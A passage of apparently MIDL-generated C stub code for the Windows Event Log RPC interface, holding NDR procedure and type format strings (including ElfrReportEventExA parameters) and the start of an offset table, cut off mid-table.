*/\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1710 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventExA */\n\n/* 1712 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1714 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1718 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1720 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1722 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1724 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1726 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1728 */\tNdrFcShort( 0x94 ),\t/* 148 */\n/* 1730 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1732 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xe,\t\t/* 14 */\n/* 1734 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1736 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1738 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1742 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1744 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1746 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1748 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter TimeGenerated */\n\n/* 1750 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 1752 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1754 */\tNdrFcShort( 0x52 ),\t/* Type Offset=82 */\n\n\t/* Parameter EventType */\n\n/* 1756 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1758 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1760 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1762 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1764 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1766 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1768 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1770 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1772 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 1774 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1776 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1778 */\tNdrFcShort( 0x268 ),\t/* 616 */\n\n\t/* Parameter DataSize */\n\n/* 1780 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1782 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1784 */\tNdrFcShort( 0x272 ),\t/* 626 */\n\n\t/* Parameter ComputerName */\n\n/* 1786 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1788 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1790 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter UserSID */\n\n/* 1792 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1794 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1796 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1798 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1800 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1802 */\tNdrFcShort( 0x27c ),\t/* Type Offset=636 */\n\n\t/* Parameter Data */\n\n/* 1804 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1806 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1808 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 1810 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1812 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1814 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1816 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1818 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1820 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1822 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1824 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1826 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Deven_MIDL_TYPE_FORMAT_STRING ms2Deven__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/*  4 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/*  6 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/*  8 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (48) */\n/* 10 */\t\n\t\t\t0x1c,\t\t/* FC_CVARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 12 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 14 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 16 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 18 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 20 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 22 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 30 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 32 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 34 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 36 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 38 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 42 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 46 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 48 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 50 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 52 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 54 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (62) */\n/* 56 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 58 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 60 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 62 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 64 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (10) */\n/* 66 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 68 */\tNdrFcShort( 0xffec ),\t/* Offset= -20 (48) */\n/* 70 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 72 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (74) */\n/* 74 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 76 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 78 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 80 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 82 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 84 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 86 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 88 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 90 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 92 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 94 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 96 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (98) */\n/* 98 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 100 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 102 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 104 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 108 */\tNdrFcLong( 0x7ffff ),\t/* 524287 */\n/* 112 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 114 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (116) */\n/* 116 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 118 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 120 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 122 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 124 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 126 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 128 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 132 */\tNdrFcLong( 0x7ffff ),\t/* 524287 */\n/* 136 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 138 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 140 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 144 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 148 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 150 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 154 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 158 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 160 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (200) */\n/* 162 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 164 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 166 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 168 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 170 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 172 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 174 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (162) */\n/* 176 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 178 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 180 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 182 */\t0x4,\t\t/* Corr desc: FC_USMALL */\n\t\t\t0x0,\t\t/*  */\n/* 184 */\tNdrFcShort( 0xfff9 ),\t/* -7 */\n/* 186 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 188 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 198 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 200 */\t\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 202 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 204 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (178) */\n/* 206 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 208 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 210 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (168) */\n/* 212 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 214 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 216 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (218) */\n/* 218 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 222 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 224 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 226 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 228 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 234 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 238 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 242 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 244 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 246 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 250 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 254 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 256 */\tNdrFcShort( 0xff30 ),\t/* Offset= -208 (48) */\n/* 258 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 260 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 262 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (264) */\n/* 264 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 266 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 268 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 270 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 272 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 274 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 276 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 280 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 284 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 286 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 288 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 290 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 292 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (316) */\n/* 294 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 296 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 298 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 300 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 302 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 304 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 306 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 310 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 314 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 316 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 318 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 322 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (330) */\n/* 324 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 326 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 328 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 330 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 332 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (294) */\n/* 334 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 336 */\tNdrFcShort( 0xffec ),\t/* Offset= -20 (316) */\n/* 338 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 340 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 342 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 344 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 348 */\tNdrFcLong( 0x7ffff ),\t/* 524287 */\n/* 352 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 354 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 358 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 362 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 364 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 368 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 372 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 374 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (376) */\n/* 376 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 378 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 380 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 382 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 384 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 386 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 392 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 396 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 400 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 402 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 404 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 408 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 412 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 414 */\tNdrFcShort( 0xff9e ),\t/* Offset= -98 (316) */\n/* 416 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 418 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 420 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (422) */\n/* 422 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 424 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 426 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 428 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 430 */\tNdrFcShort( 0x10 ),\t/* Corr flags:  */\n/* 432 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 434 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 438 */\tNdrFcLong( 0x400 ),\t/* 1024 */\n/* 442 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 444 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 446 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 450 */\tNdrFcLong( 0x400 ),\t/* 1024 */\n/* 454 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 460 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 464 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 466 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 470 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 474 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 476 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (478) */\n/* 478 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 482 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 484 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 486 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 488 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 490 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 494 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 498 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 502 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 504 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 506 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 510 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 514 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 516 */\tNdrFcShort( 0xfe2c ),\t/* Offset= -468 (48) */\n/* 518 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 520 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 522 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (524) */\n/* 524 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 526 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 528 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 530 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 532 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 534 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 536 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 540 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 544 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 546 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 548 */\tNdrFcShort( 0xfe2e ),\t/* Offset= -466 (82) */\n/* 550 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 556 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 560 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 562 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 566 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 570 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 572 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (574) */\n/* 574 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 578 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 580 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 582 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 584 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 586 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 590 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 594 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 598 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 600 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 602 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 606 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 610 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 612 */\tNdrFcShort( 0xfdcc ),\t/* Offset= -564 (48) */\n/* 614 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 616 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 618 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 622 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 626 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 628 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 632 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 636 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 638 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (640) */\n/* 640 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 644 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 646 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 648 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 650 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 652 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 656 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 660 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 664 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 666 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 668 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 672 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 676 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 678 */\tNdrFcShort( 0xfe96 ),\t/* Offset= -362 (316) */\n/* 680 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const NDR_RUNDOWN RundownRoutines[] = \n    {\n    IELF_HANDLE_rundown\n    };\n\n\nstatic const unsigned short eventlog_FormatStringOffsetTable[] =\n    {\n    0,\n    50,\n    100,\n    144,\n    188,\n    238,\n    288,\n    344,\n    418,\n    492,\n    560,\n    640,\n    762,\n    812,\n    862,\n    936,\n    1010,\n    1078,\n    1158,\n    1280,\n    1310,\n    1340,\n    